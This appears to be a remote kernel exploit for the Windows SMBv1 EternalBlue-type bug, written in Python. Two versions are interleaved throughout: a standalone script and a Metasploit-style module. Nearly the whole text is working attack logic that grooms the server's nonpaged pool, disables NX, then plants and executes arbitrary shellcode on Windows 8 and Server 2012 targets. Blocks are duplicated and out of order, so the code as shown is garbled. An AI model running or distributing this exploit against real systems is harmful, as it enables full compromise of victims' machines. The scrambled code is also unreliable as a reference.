transCommand['Parameters']['DataCount'] = firstDataFragmentSize
transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len
transCommand['Data']['Trans_Parameters'] = param
transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize]
pkt.addCommand(transCommand)
transCommand['Data']['Trans_Parameters'] = param
transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize]
pkt.addCommand(transCommand)
conn.sendSMB(pkt)
recvPkt = conn.recvSMB() # must be success
if recvPkt.getNTStatus() == 0:
module.log('got good NT Trans response')
else:
module.log('got bad NT Trans response: 0x{:x}'.format(recvPkt.getNTStatus()), 'error')
sys.exit(1)
# Then, use SMB_COM_TRANSACTION2_SECONDARY for send more data
i = firstDataFragmentSize
while i < len(data):
sendSize = min(4096, len(data) - i)
if len(data) - i <= 4096:
if not sendLastChunk:
break
send_trans2_second(conn, tid, data[i:i+sendSize], i)
i += sendSize
if sendLastChunk:
conn.recvSMB()
return i
conn.sendSMB(pkt)
recvPkt = conn.recvSMB() # must be success
if recvPkt.getNTStatus() == 0:
print('got good NT Trans response')
else:
print('got bad NT Trans response: 0x{:x}'.format(recvPkt.getNTStatus()))
sys.exit(1)
# Then, use SMB_COM_TRANSACTION2_SECONDARY for send more data
i = firstDataFragmentSize
while i < len(data):
sendSize = min(4096, len(data) - i)
if len(data) - i <= 4096:
if not sendLastChunk:
break
send_trans2_second(conn, tid, data[i:i+sendSize], i)
i += sendSize
if sendLastChunk:
conn.recvSMB()
return i
# connect to target and send a large nbss size with data 0x80 bytes
# this method is for allocating big nonpaged pool on target
def createConnectionWithBigSMBFirst80(target, for_nx=False):
sk = socket.create_connection((target, 445))
pkt = '\x00' + '\x00' + pack('>H', 0x8100)
# There is no need to be SMB2 because we want the target free the corrupted buffer.
# Also this is invalid SMB2 message.
# I believe NSA exploit use SMB2 for hiding alert from IDS
#pkt += '\xfeSMB' # smb2
# it can be anything even it is invalid
pkt += 'BAAD' # can be any
if for_nx:
# MUST set no delay because 1 byte MUST be sent immediately
sk.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
pkt += '\x00'*0x7b # another byte will be sent later to disabling NX
else:
pkt += '\x00'*0x7c
sk.send(pkt)
return sk
def createConnectionWithBigSMBFirst80(target, port, for_nx=False):
sk = socket.create_connection((target, port))
pkt = '\x00' + '\x00' + pack('>H', 0x8100)
# There is no need to be SMB2 because we want the target free the corrupted buffer.
# Also this is invalid SMB2 message.
# I believe NSA exploit use SMB2 for hiding alert from IDS
#pkt += '\xfeSMB' # smb2
# it can be anything even it is invalid
pkt += 'BAAD' # can be any
if for_nx:
# MUST set no delay because 1 byte MUST be sent immediately
sk.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
pkt += '\x00'*0x7b # another byte will be sent later to disabling NX
else:
pkt += '\x00'*0x7c
sk.send(pkt)
return sk
def exploit(target, shellcode, numGroomConn):
# force using smb.SMB for SMB1
conn = smb.SMB(target, target)
conn.login(USERNAME, PASSWORD)
server_os = conn.get_server_os()
print('Target OS: '+server_os)
if server_os.startswith("Windows 10 "):
build = int(server_os.split()[-1])
if build >= 14393: # version 1607
print('This exploit does not support this target')
sys.exit()
elif not (server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ")):
print('This exploit does not support this target')
sys.exit()
def _exploit(target, port, feaList, shellcode, numGroomConn, username, password):
# force using smb.SMB for SMB1
conn = smb.SMB(target, target)
conn.login(username, password)
server_os = conn.get_server_os()
module.log('Target OS: '+server_os)
if server_os.startswith("Windows 10 "):
build = int(server_os.split()[-1])
if build >= 14393: # version 1607
module.log('This exploit does not support this target', 'error')
sys.exit()
elif not (server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ")):
module.log('This exploit does not support this target', 'error')
sys.exit()
tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
# The minimum requirement to trigger bug in SrvOs2FeaListSizeToNt() is SrvSmbOpen2() which is TRANS2_OPEN2 subcommand.
# Send TRANS2_OPEN2 (0) with special feaList to a target except last fragment
progress = send_big_trans2(conn, tid, 0, feaList, '\x00'*30, len(feaList)%4096, False)
# The minimum requirement to trigger bug in SrvOs2FeaListSizeToNt() is SrvSmbOpen2() which is TRANS2_OPEN2 subcommand.
# Send TRANS2_OPEN2 (0) with special feaList to a target except last fragment
progress = send_big_trans2(conn, tid, 0, feaList, '\x00'*30, len(feaList)%4096, False)
# Another TRANS2_OPEN2 (0) with special feaList for disabling NX
nxconn = smb.SMB(target, target)
nxconn.login(USERNAME, PASSWORD)
nxtid = nxconn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
nxprogress = send_big_trans2(nxconn, nxtid, 0, feaListNx, '\x00'*30, len(feaList)%4096, False)
# Another TRANS2_OPEN2 (0) with special feaList for disabling NX
nxconn = smb.SMB(target, target)
nxconn.login(username, password)
nxtid = nxconn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
nxprogress = send_big_trans2(nxconn, nxtid, 0, feaListNx, '\x00'*30, len(feaList)%4096, False)
# create some big buffer at server
# this buffer MUST NOT be big enough for overflown buffer
allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x2010)
# groom nonpaged pool
# when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one
srvnetConn = []
for i in range(numGroomConn):
sk = createConnectionWithBigSMBFirst80(target, for_nx=True)
srvnetConn.append(sk)
# create some big buffer at server
# this buffer MUST NOT be big enough for overflown buffer
allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x2010, username, password)
# create buffer size NTFEA_SIZE at server
# this buffer will be replaced by overflown buffer
holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE-0x10)
# disconnect allocConn to free buffer
# expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer
allocConn.get_socket().close()
# groom nonpaged pool
# when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one
srvnetConn = []
for i in range(numGroomConn):
sk = createConnectionWithBigSMBFirst80(target, port, for_nx=True)
srvnetConn.append(sk)
# hope one of srvnetConn is next to holeConn
for i in range(5):
sk = createConnectionWithBigSMBFirst80(target, for_nx=True)
srvnetConn.append(sk)
# remove holeConn to create hole for fea buffer
holeConn.get_socket().close()
# send last fragment to create buffer in hole and OOB write one of srvnetConn struct header
# first trigger, overwrite srvnet buffer struct for disabling NX
send_trans2_second(nxconn, nxtid, feaListNx[nxprogress:], nxprogress)
recvPkt = nxconn.recvSMB()
retStatus = recvPkt.getNTStatus()
if retStatus == 0xc000000d:
print('good response status for nx: INVALID_PARAMETER')
else:
print('bad response status for nx: 0x{:08x}'.format(retStatus))
# one of srvnetConn struct header should be modified
# send '\x00' to disable nx
for sk in srvnetConn:
sk.send('\x00')
# send last fragment to create buffer in hole and OOB write one of srvnetConn struct header
# second trigger, place fake struct and shellcode
send_trans2_second(conn, tid, feaList[progress:], progress)
recvPkt = conn.recvSMB()
retStatus = recvPkt.getNTStatus()
if retStatus == 0xc000000d:
print('good response status: INVALID_PARAMETER')
else:
print('bad response status: 0x{:08x}'.format(retStatus))
# create buffer size NTFEA_SIZE at server
# this buffer will be replaced by overflown buffer
holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE-0x10, username, password)
# disconnect allocConn to free buffer
# expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer
allocConn.get_socket().close()
# one of srvnetConn struct header should be modified
# a corrupted buffer will write recv data in designed memory address
for sk in srvnetConn:
sk.send(fake_recv_struct + shellcode)
# hope one of srvnetConn is next to holeConn
for i in range(5):
sk = createConnectionWithBigSMBFirst80(target, port, for_nx=True)
srvnetConn.append(sk)
# execute shellcode
for sk in srvnetConn:
sk.close()
# nicely close connection (no need for exploit)
nxconn.disconnect_tree(tid)
nxconn.logoff()
nxconn.get_socket().close()
conn.disconnect_tree(tid)
conn.logoff()
conn.get_socket().close()
# remove holeConn to create hole for fea buffer
holeConn.get_socket().close()
# send last fragment to create buffer in hole and OOB write one of srvnetConn struct header
# first trigger, overwrite srvnet buffer struct for disabling NX
send_trans2_second(nxconn, nxtid, feaListNx[nxprogress:], nxprogress)
recvPkt = nxconn.recvSMB()
retStatus = recvPkt.getNTStatus()
if retStatus == 0xc000000d:
module.log('good response status for nx: INVALID_PARAMETER')
else:
module.log('bad response status for nx: 0x{:08x}'.format(retStatus), 'error')
if len(sys.argv) < 3:
print("{} <ip> <shellcode_file> [numGroomConn]".format(sys.argv[0]))
sys.exit(1)
# one of srvnetConn struct header should be modified
# send '\x00' to disable nx
for sk in srvnetConn:
sk.send('\x00')
TARGET=sys.argv[1]
numGroomConn = 13 if len(sys.argv) < 4 else int(sys.argv[3])
# send last fragment to create buffer in hole and OOB write one of srvnetConn struct header
# second trigger, place fake struct and shellcode
send_trans2_second(conn, tid, feaList[progress:], progress)
recvPkt = conn.recvSMB()
retStatus = recvPkt.getNTStatus()
if retStatus == 0xc000000d:
module.log('good response status: INVALID_PARAMETER')
else:
module.log('bad response status: 0x{:08x}'.format(retStatus), 'error')
fp = open(sys.argv[2], 'rb')
sc = fp.read()
fp.close()
# one of srvnetConn struct header should be modified
# a corrupted buffer will write recv data in designed memory address
for sk in srvnetConn:
sk.send(fake_recv_struct + shellcode)
if len(sc) > 0xe80:
print('Shellcode too long. The place that this exploit put a shellcode is limited to {} bytes.'.format(0xe80))
sys.exit()
# execute shellcode
for sk in srvnetConn:
sk.close()
# Now, shellcode is known. create a feaList
feaList = createFeaList(len(sc))
# nicely close connection (no need for exploit)
nxconn.disconnect_tree(tid)
nxconn.logoff()
nxconn.get_socket().close()
conn.disconnect_tree(tid)
conn.logoff()
conn.get_socket().close()
print('shellcode size: {:d}'.format(len(sc)))
print('numGroomConn: {:d}'.format(numGroomConn))
def exploit(args):
rport = int(args['RPORT'])
numGroomConn = int(args['GroomAllocations'])
smbuser = args['SMBUser'] if 'SMBUser' in args else ''
smbpass = args['SMBPass'] if 'SMBPass' in args else ''
exploit(TARGET, sc, numGroomConn)
print('done')
sc = eternalblue_kshellcode_x64 + b64decode(args['payload_encoded'])
if len(sc) > 0xe80:
module.log('Shellcode too long. The place that this exploit put a shellcode is limited to {} bytes.'.format(0xe80), 'error')
sys.exit()
# Now, shellcode is known. create a feaList
feaList = createFeaList(len(sc))
module.log('shellcode size: {:d}'.format(len(sc)))
module.log('numGroomConn: {:d}'.format(numGroomConn))
_exploit(args['RHOST'], rport, feaList, sc, numGroomConn, smbuser, smbpass)
module.log('done')
if __name__ == '__main__':
module.run(metadata, exploit)